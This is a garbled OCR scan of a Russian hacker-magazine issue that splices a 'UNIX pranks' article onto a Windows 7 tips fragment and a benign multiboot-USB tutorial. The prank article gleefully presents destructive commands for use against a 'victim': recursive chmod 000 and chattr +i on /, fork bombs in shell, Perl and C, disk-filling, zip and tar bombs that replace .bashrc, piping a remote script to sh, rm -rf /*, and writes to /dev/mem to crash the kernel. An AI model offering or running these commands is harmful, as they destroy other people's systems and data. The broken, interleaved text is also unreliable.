книги хакеры / журнал хакер / 131_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ВUNIX чтоугодноможетбытьвирусом:)
ls будетпроисходитьочищениетекущегокаталога. Представь, какудивитсянашажертва, когдазапуститls иувидит, чтовсефайлыкуда-топодевались. Будетещесмешнее, еслионапопытаетсявыйтинакаталогвышеивновьвызоветls…
Ещеодининтересныйтрюк: выставитьсовершенноизвращенныеправанавсефайлыикаталогисистемы:
#chown nobody:nobody -R /
#chmod 000 -R /
Этоприведетктому, чтодееспособнымостанетсятолько root, тогдакаквсеостальныепользователинесмогутдаже войтивсистему. Болеезловещийвариант: воспользоваться расширеннымиатрибутамифайловойсистемыext3/4 для того, чтобысделатьвсефайлысистемынемодифицируемымиинеудаляемыми.
#cd /
#chattr -R +i *
Особаяфишкаэтогоспособавтом, чтонеопытномупользователюбудеточеньсложнонайтипричинустольстранного поведенияфайловойсистемы. Расширенныеатрибуты непользуютсяпопулярностью, ихнепоказываеткоманда ls, многиевообщенезнаютоихсуществовании. Жертва проверитправаиубедится, чтовсевпорядке, затемначнет пробоватьперемонтироватьфайловуюсистемуврежиме
записи, чтонедастровнымсчетомничего, попытаетсяперезагрузитьсистему, чтобудетневозможносделать. Наконец, недругнажметкнопку«сброс» насистемномблоке, дождется окончаниявосстановленияжурналаивновьпопробуетудалитьфайл… Нонетут-тобыло, расширенныеатрибутыможно убратьтолькоспомощьюутилитыchattr иличерезотключениеихподдержкивядре.
Еслижетвояжертва—суровыйпрофи,умеющийпользоваться загрузочнымдискомдлявосстановлениясистемы, знающий оправахдоступаирасширенныхатрибутах, аспособудаления всегоивсятысчитаешьслишкомнизкиминедостойным, то предлагаювзятьназаметкуследующийпростойшелл-скрипт:
$ cd ~; for x in 'ls'; do mv -f $x $y; y=$x; done
Оннеубиваетданные, невводитвпользователявнепреодолимыйступор, нопозволяетотвсейдушипосмеяться. Послевыполненияэтойпоследовательностикомандвсе файлыиподкаталогидомашнегокаталогапользователя будутиметьнеправильныеимена, аеслиточнее: будут сдвинутынаодинвперед. Напервыйвзглядлистингфайлов будетвыглядетьправильно, нонапроверкуокажется, что содержимоелюбогоизфайловнесоответствуетимени. Жертвепридетсяизряднопостаратьсяиубитьмноговременипередтем, каконавсеприведетвпорядок.
СпомощьюстандартногоAPI мыможем записатьвsyslog все, чтоугодно
Еслитынехочешьпричинятьсерьезныйущерб, тотебе помогутфорк-бомбыиразличныеспособыотправитьядров панику. Впростейшемвариантефорк-бомбавыглядиттак:
:(){ :|:& };:
Апослерасшифровкитак:
func() {
func | func &
}
func
Анаperl воттак:
$ perl -e 'fork while true;'
Командапорождаетбесконечноечислопроцессови, если максимальноечислопроцессовииспользуемойпамятине ограниченоспомощьюulimit (авподавляющембольшинствеслучаевтаконоиесть), системавскореисчерпаетвсе своиресурсыиокажетсянедоступной.
Чтобысделатьфорк-бомбуболееэффективной, надежной исмертоносной, ееследуетоформитьввидебинарного файла(которыйбудетдажепрощеподсунутьжертве):
DVD |
dvd
Наприлагаемом кжурналудискеты
найдешьполныеверсиисырцовsyslogfake.c, hole.
c инесколькофоркбомб.
HTTP://WWW
links www.linux.org.ru/ view-message. jsp?msgid=392747
— оригинальное сообщениенафоруме ЛОРа.
$ VI FORK-BOMB.C
int main(void)
{
for (;;) {
while (fork() != -1)
;
for (;;) { getpid();
malloc(65536);
}
}
exit(0);
}
Обративниманиенафактиспользованияфункцииmalloc(), которая, будучизапущеннойвбесконечномцикле, постепенновысосетизсистемывсюдоступнуюоперативнуюпамять. ОсобоеместосредиUNIX-западлостроенийзанимают различныеспособызахламленияфайловойсистемыили, говоряпо-человечески, файл-флуд. Флудбудетполезен тогда, когдавсеостальныеспособыоказываютсянеэффективнымиилислишкомжесткими. Онненесетособойопасности, номожетсерьезнонавредить, будучипримененным набоевомсервере. ПростейшийметодзахламленияФС
— созданиефайла, которыйбудетпостояннорастиивконце концовзайметвседоступноепространство. Например:
$ cat /dev/random > ~/.backup &
Такжевозможносозданиебесконечнойцепочкиподкаталогов:
INFO |
info
•Командаrm, поставляемая ссовременнымидис-
трибутивамиLinux, отказываетсяудалять корневойкаталог. Поэтомуактуальная командадолжна выглядетьтак: «cd / && rm -rf *» илитак: «rm -rf /*».
•Русскаярулетка
встилеUNIX:
$ [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo «Жив»
XÀÊÅÐ 11 /131/ 09 |
079 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
UNIXOID
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
while : ; do mkdir subdir cd subdir
done
Этакомандаэффективносработаетнафайловойсистемеext4, ноненанесетособого вредаext3 иufs, вкоторыезаложенлимитна количествоподкаталогов(32000). Крометого, существуетимножествовариантовразлич-
ныхdecompression-бомбиtar-бомб. Смысл ихвтом, чтобысоздатьархив, которыйпосле распаковкизайметогромноепространство нажесткомдискеилизахламитфайловую систему. Decompression-бомбысоздаютсяс
помощьюгенерацииогромныхразмеровфайла, содержащегобольшоеколичествомногократно повторяющихсяблоковданных, иегоупаковкис помощьюbzip2. Врезультатесовсемнебольшой безобидныйархивраспакуетсявоченьбольшойфайл, которыйможетзанятьвесьжесткий диск. Способсоздания: беремисточникданных (хотьстроку«aaaaa»), организуемлуп, который будетмногократнодобавлятьсодержимое источникаданныхвновыйфайл, азатемпросто запаковываемегоспомощьюbzip2:
$ for i in {1..1000000}; do for i in {1..1000000}; do
echo "aaaaa" >> bomb done
done
$ bzip2 bomb
Tar-бомбысоздаютсяиначе. Ихзадачане толькозахламитьфайловуюсистему, ноипопы- татьсяподменитькакие-либофайлыбазовой системы. Создаютсяониспомощьюупаковкив tar-файлсразунесколькихкаталоговифайлов, которыебудутраспакованывсистему, врезультатечегорабочийкаталогстанетпомойкой, а некоторыефайлыбудутзаменены:
$ mkdir bomb $ cd bomb
Исходныйкодпрограммки, создающейв/tmp файлогромного размера
// создаем разные файлы и каталоги $ mkdir ...
$ tar -cf bomb.tar * .* $ bzip2 bomb.tar
Послераспаковкитакогофайлавтекущем каталогежертвыпоявятсявсефайлыикаталоги, находящиесявархиве. Всясольвтом, чтомногиераспаковываютархивыпрямов домашнийкаталог, поэтому, есливархивпоместить, например, файл.bashrc снужнымнам содержимым, тооригинальный.bashrc будет замененнааналогизархива(наскриншоте«В UNIX чтоугодноможетбытьвирусом» наглядно показано, какэтосделать). Аведьэтоотличный способподсунутьнашкоджертве, скажешьты ибудешьабсолютноправ. Издругихспособов могупривестиупаковкунашихфайловвdeb/ rpm-пакеты, которые, какоказывается, большинствопользователейзапускаютбезвсяких подозрений, и, достаточноинтересныйспособ указанияпрямойссылкинанашвредоносный скрипт:
$ wget http://адрес_скрипта -O- | sh
SHOW NO MERCY
Ипоследнее: насамомделеубитьUNIX элементарно, идляэтогоненужныникакиескрипты, бомбы, стресс-тестыфайловойсистемыи другиеприблуды, достаточнооднойкоманды. Да-да, UNIX оченьпростоуничтожитьпрямо
Воттакможноперевернутьсодержимоекаталогасногнаголову
изкоманднойстроки. Яприведувсегопять возможныхвариантов, хотянасамомделеих великоемножество:
1.Убиваемголовнойпроцесс:
#kill -9 1
2.Убиваемвсепроцессысистемывобратном порядке(чтобыпосмаковать):
#kill -9 {64000..1} >
/dev/null 2>&1
3.Отправляемядровпаникуспомощьюзаписи мусорав/dev/port:
#dd if=/dev/random of=/dev/port
4.Отправляемядровпаникуспомощьюзабиванияпамятиядранулями:
#dd if=/dev/zero bs=512 of=/dev/mem
5.ОтправляемLinux впаникучерезстандартныйинтерфейс(!):
#echo 1 > /proc/sys/kernel/panic z
ФИШКИ WINDOWS 7: НОВЫЕ ФИШКИ В ИНТЕРФЕЙСЕ
|
Что еще нравится— это фун- |
меня до сих пор стоит Vista и |
• Win+Shift+Вверх и |
баре на одну иконку одного |
|
|
кция Snap, которая позволяет |
знал бы ты, насколько мне не |
Win+Shift+Вниз — разворачи- |
из приложений, все осталь- |
|
|
расположить два докумен- |
хватает там Snap’а. Тянешь |
вает и восстанавливает окно |
ные окна становятся невиди- |
|
|
та рядом, просто потянув |
окошко — а ничего не проис- |
по вертикали. |
|
мыми. Еще одно новшество |
|
|
||||
|
их к разным краям экрана. |
ходит :(. Впрочем, полезное |
Еще одна комбинация |
кла- |
позволяет переключаться |
|
Windows сама ресайзит окно |
нововведение ты, наверное, |
виш — Win+Home — сво- |
между окнами одного прило- |
|
|
до половины ширины дисплея. |
уже видел в действии, а вот |
рачивает/восстанавливает |
жения. А если у тебя откры- |
|
|
Мега-удобно: тот же Word на |
чего не знаешь — так это, что |
все окна, кроме активного. |
то 5 окон одного и того же |
|
|
широкоформатном мониторе |
все действия Snap’а доступны |
Вообще, новая система изо- |
приложения, можно быстро |
|
|
разворачивать на весь экран |
через горячие клавиши: |
билует такими вот мелочами, |
переключаться между ними, |
|
|
незачем. Можно в одной части |
• Win+Влево и Win+Вправо — |
к которым привыкаешь и |
удерживая Ctrl и нажимая |
|
|
экрана разместить окно Visual |
прикрепить окно; |
потом думаешь: «Почему они |
кнопку на панели задачи. Это |
|
|
Studio, а в другой — браузер с |
• Win+Вверх и Win+Вниз — |
раньше такого не делали?». |
гораздо удобнее, чем выис- |
|
|
открытым мануалом из MSDN. |
разворачивает и восстанавли- |
Вот, например, маленький |
кивать эти окошки в диалоге |
|
|
На домашнем компьютере у |
вает/сворачивает окно; |
хинт: при наведении в такс- |
по Alt+Tab. |
|
|
|
|
|
|
|
|
|
|
|
|
|
096 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Реклама
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
||
P |
|
|
|
|
|
NOW! |
|
o |
|
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|||
w Click |
to |
|
|
|
|
|
|
UNIXOID |
|
||||
|
|
|
|
|
|
m |
ЮРИЙ «ADEPT» ВИДИНЕЕВ ADEPTG@GMAIL.COM |
||||||
|
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
Панацея |
||||||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
нафлешке
Создаеммультизагрузочную флешкунавсеслучаижизни
Думаю, увсехнасестьнескольколюбимых LiveCD, которыемыпостоянноносимссобой— навсякийслучай. Иэтооправданно, ведьLiveCD незаменим, когданужно восстановитьработоспособностьОСили простопоработатьвзнакомомокружении. НоCD/DVD — громоздкийиненадежный носитель. Еслитебенадоелотаскатьс собойворохLiveCD, япредлагаюзаписать всеэтиОСнафлешку.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Ñ |
моментапервогопубличногорелиза |
мы все-таки будем водружать. Вариант |
дитьсядлязапуска, например, mhdd (лучшей, |
|
|||
|
knoppix («дедушки» всехLiveCD) |
установки Windows представляется мне не |
намойвзгляд, программыдлянизкоуровневой |
|
прошлоужеоколо10 лет. Заэтот |
очень удачным, так как функциональность и |
работысвинтами). |
|
сроккаждыйуважающийсебя |
скорость работы этой ОС в качестве LiveUSB |
Вустановленномвидевесь«зоопарк» будет |
|
дистрибутивобзавелсяLiveCD-вер- |
оставляет желать лучшего. К тому же, ее |
заниматьнеболее2,5-3 Гб, поэтомуподойдет |
сией, аколичествоузкоспециализированных |
запуск с CD или флешки запрещен по лицен- |
любаяфлешкаот4 Гб. Можновзятьибольшего |
|
LiveCD-системперевалилозавсемыслимые |
зионному соглашению. Если не рассматри- |
объема, приэтоморганизовавжирныйраздел |
|
инемыслимыепределы. Новремяидет, и |
вать всякие экзотические варианты, типа |
FAT/NTFS, используемыйпопрямомуназначе- |
|
компакт-дискиуженесоответствуютсовре- |
Minix, то на выбор остается сотня-другая ОС |
нию— дляпереносаданных. Нояпредпочел |
|
меннымтребованиямкомпактности(такой |
на базе Linux и десяток-другой решений на |
выделитьподэтузадачуотдельнуюфлешку |
|
воткаламбур), надежностиисроковхранения |
xBSD. После непродолжительных разду- |
Transcend V85 на4 Гб. |
|
информации. НасменуLiveCD/LiveDVD-систе- |
мий я остановил свой выбор на следующих |
ВсенастройкибудутпроизводитьсянаUbuntu |
|
мамдавнопришлитакназываемыеLiveUSB- |
системах: |
9.10 amd64 alpha (кмоментупубликациистатьи |
|
системы(ОСнаUSB-флешке). Создатьсвой |
1. System Rescue CD 1.3.1 Beta4 — пожалуй, самый |
ужевыйдетрелиз), котораяживетнаноутеDell |
|
LiveUSB скаким-нибудьоднимдистрибутивом |
популярный, функциональныйидинамически |
Vostro A860. |
|
сегоднянесоставляеттруда. Напомощьпридут |
развивающийся«спасательный» CD набазе |
ПРОПОРЦИИ |
|
многочисленныеграфическиеутилиты, подчас |
Linux. |
||
дажевходящиевсоставдистрибутива. Нопри |
2. Ubuntu 9.10 i386 Alpha6 LiveCD — думаю, впред- |
Использоватьобъемфлешкиможнодвумяспо- |
|
всейпростотеподходнедостаточногибок: если |
ставленииненуждается. Пригодится, если |
собами: либосоздать1 раздел, кудапоставить |
|
требуетсянесколькоОСилихочетсяпо-своему |
захочетсяпоработатьвзнакомойсистемена |
всеОС, либовыделитькаждойсвойраздел. |
|
разбитьнакопительнаразделы— придется |
чужомкомпе. |
Первыйвариантнеоченьудобен, таккакна |
|
немногопоработатьрукамииголовой. Зато |
3. DrWeb 5.0 LiveCD — переноснойантивирус, удоб- |
одномразделеобразуетсямешанинаизфайлов |
|
получитсямногофункциональный, тонкона- |
ныйидостаточноэффективный. |
разныхОС, чтоосложняетобновлениеивынуж- |
|
строенныйинструмент. Итак, приступим… |
4. FreeBSD 8 RC1 — наслучай, еслипонадобитсяее |
даетотслеживатьсовпаденияименфайлов. К |
|
ИНГРЕДИЕНТЫ |
куда-нибудьустановитьилипочинитьустанов- |
томуже, FreeBSD отказываетсяжитьнаFAT- |
|
леннуюсистему. |
разделе. Лучшеподелитьфлешкунаразделы. Я |
||
Для начала стоит определиться, что же |
5 FreeDOS — да-да, старичокещеможетприго- |
использовалследующееразбиение: |
082 |
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Эволюцияносителейинформации
1.FAT32, 400 Ìá — на случай необходимости переноса небольшого количества информации. Кстати, мне попадались компьютеры, которые отказывались грузиться с флешки, если на ней не было первого раздела с FAT32. На этом же разделе мы разместим образы загрузочных дискет с
FreeDOS.
2.Неформатированный, 1 Гб— разделдля FreeBSD. Еслихочетсяхранитьколлекцию портови/илиустановитьчто-нибудьдополни- тельно, томожетпонадобитьсябольшеместа. FreeBSD можетбытьустановленатолькона первичныйраздел.
3.EXT4, 2 Ãá — разделдляUbuntu.
4.EXT4, 250 Ìá — разделдляSystemRescueCD.
5.EXT3, 100 Ìá — разделдляDrWeb LiveCD. Текущаяверсиянеможетзагружатьсясext4. Разбиватьможнокакспомощьюfdisk + mkfs, такиспомощьюgparted. Этотривиальнаяоперация, поэтомуподробнонанейостанавливатьсянебудем. Стоитлишьучестьнекоторые нюансы:
• Дляудобстваможнокаждомуразделуприсвоитьсоответствующуюметку.
• НаFAT-разделрекомендуюустановитьboot- флаг.
• Сцельюэкономииместанаext-файловых системахлучшеотключитьрезервирование блоков(вместо/dev/sdb3 нужноподставить именанужныхразделов):
$ sudo tune2fs -r 0 /dev/sdb3
Пришло время выбрать загрузчик для нашего «зверинца». Вариантов не так много: если держаться мейнстрима, то выбирать надо из Grub, Grub2, Grub4DOS, syslinux.
Syslinux — хороший и распространенный загрузчик (практически все графические утилиты именно его устанавливают на флешку), но он не умеет напрямую грузить
FreeBSD. Grub4DOS — тот же Grub, только с некоторыми дополнительными возможностями. Grub2 — реинкарнация Grub первой версии (который теперь получил название Grub Legacy), имеющая все
те же возможности плюс много всяких вкусностей (подробнее о Grub2 можно узнать из статьи «На пути к совершенству», опубликованной в z#127). Его-то и будем ставить, благо, в Ubuntu, начиная с версии 9.10, он является загрузчиком по умолчанию.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
Командадляустановкизагрузчикавыглядит |
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
следующимобразом:
$ sudo grub-install --root- directory=/media/Ubuntu/ /dev/sdb
где/dev/sdb — устройство, кудаустановится бутлоадер, а/media/Ubuntu/ — путь, гдебудет находитьсякаталог/boot/grub сконфигоми модулями. Вкаталоге/media/Ubuntu/boot/ grub создадимконфигурационныйфайлgrub. cfg ссодержимым:
$ sudo nano /media/Ubuntu/boot/grub/grub. cfg
set timeout=5 set default=0
menuentry "Reboot" { reboot
}
menuentry "Halt" { halt
}
Параметр«set timeout» задаетвремя, поистечениикоторогоприбездействиипользователя будетзагруженпункт, заданныйпарамет-
ром«set default». Конструкцииmenuentry
описываютпунктыменю(нумерацияпунктов начинаетсяс0).
ПЕРВОЕБЛЮДО
ВариантовустановкиUbuntu нафлешку несколько:
1.Запуститьустановкуивыбратьвкачестве корняразделнафлешке. Всевносимыев системуизменениябудутсохраняться, номы лишимсяпреимуществlive-системы: возникнутпроблемысзагрузкойиксовнакомпах сразнымивидеокартами, будутплодиться сетевыеустройствавudev ит.д.
2.Простоскопироватьнафлешкусодержимое LiveCD. ВэтомслучаеостанутсявсепреимуществаLiveCD, новносимыеизменениябудут теряться.
3.СкопироватьнафлешкусодержимоеLiveCD исоздатьфайлcasper-rw, вкоторомбудут сохранятьсявсеизменения. Намойвзгляд, наиболееоптимальныйвариант.
Копируемназаранееподготовленныйраздел содержимоеLiveCD, заисключениемпапок isolinux, pics ифайловwubi.exe иautorun.inf (незабываемскопироватьскрытыйкаталог
.disk). Затемсоздадимнаэтомразделефайл casper-rw размером1250 Мб:
$ dd if=/dev/zero of=casper-rw bs=1M count=1250
иотформатируемеговext2:
$ mkfs.ext2 -F casper-rw
Теперьвgrub.cfg добавимпункты:
$ sudo nano /media/Ubuntu/boot/grub/grub. cfg
menuentry "Ubuntu" {
XÀÊÅÐ 11 /131/ 09 |
083 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
UNIXOID
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Разбиваемфлешкувgparted
# В отличие от Grub Legacy, в Grub2 отсчет разделов начинается с 1 set root=(hd0,3)
linux /casper/vmlinuz noprompt cdrom-detect/try-usb=true persistent file=/cdrom/preseed/ ubuntu.seed boot=casper initrd=/ casper/initrd.lz quiet splash initrd /casper/initrd.lz
}
menuentry "memtest" { set root=(hd0,3)
linux16 /install/mt86plus
}
ВТОРОЕБЛЮДО
Ксожалению, проектFreeBSD неимеетофициальногоLiveCD (неговоряужеоLiveUSB).
АсамыйизвестныйFreeBSD LiveCD — frenzy
— остановилсвоеразвитиенаверсии1.1 (основаннойнаFreeBSD 6). Этотнедостатокс лихвойкомпенсируетсягибкостьюсистемы— качеством, свойственнымвсемуOpen Source. Ужеустановленнаяинастроеннаясистема можетбытьлегкоперенесенанафлешку. Еслиподрукойустановленнойсистемынет, томожноустановитьFreeBSD нафлешкус помощьюштатногоинсталлятора. Правда, sysinstall отказывалсявидетьмоюфлешку
иупрямопредлагалустановитьсянавинт. ПоэтомупришлосьвоспользоватьсяVirtualBox
ипредставитьфлешкукаквинт(смотриврезку «Виртуализируемся»). Пожалуй, единственный недостатоктакогоспособа— предпочтительно несоздаватьслайсычерезfdisk изFreeBSD (из-заэмуляциионнеправильноопределяет геометриюдиска). Лучшесоздатьслайсиз
Ubuntu спомощьюmkfs.ufs (изпакетаufsutils):
$ sudo mkfs.ufs /dev/sdb2
Сегодня установить FreeBSD не сложнее, чем Linux, поэтому, ввиду ограничения на объем статьи, не буду подробно останавливаться на процессе установки. Единственный нюанс: не надо устанавливать загрузчик.
Послеокончанияустановкинужновgrub.cfg добавитьпункт:
$ sudo nano /media/Ubuntu/boot/grub/grub. cfg
menuentry "FreeBSD"{ set root=(hd0,2,a) freebsd /boot/loader
}
Вужеустановленнойсистемеследуетпровести несколькоманипуляций, чтобыминимизироватьколичествооперацийзаписи/чтенияна флешке(чтонесколькопродлитейжизнь). Для началаперенесем/tmp вmfs (файловаясистемаввиртуальнойпамяти). Дляэтоговконфиг/ etc/rc.conf добавимстрочку:
#ee /etc/rc.conf tmpmfs="YES"
Спомощьюопцииvarmfs= «YES» можнотакже перенестивmfs /var. Ноиспользованиеmfs для всего/var можетвызватьнекоторыепроблемы, поэтомуеелучшеиспользоватьтолькодля/var/ run и/var/log:
#ee /etc/fstab
md |
/var/runmfs |
rw,- |
|
s4M,nosuid,noatime |
0 |
0 |
|
|
|
|
|
ВИРТУАЛИЗИРУЕМСЯ
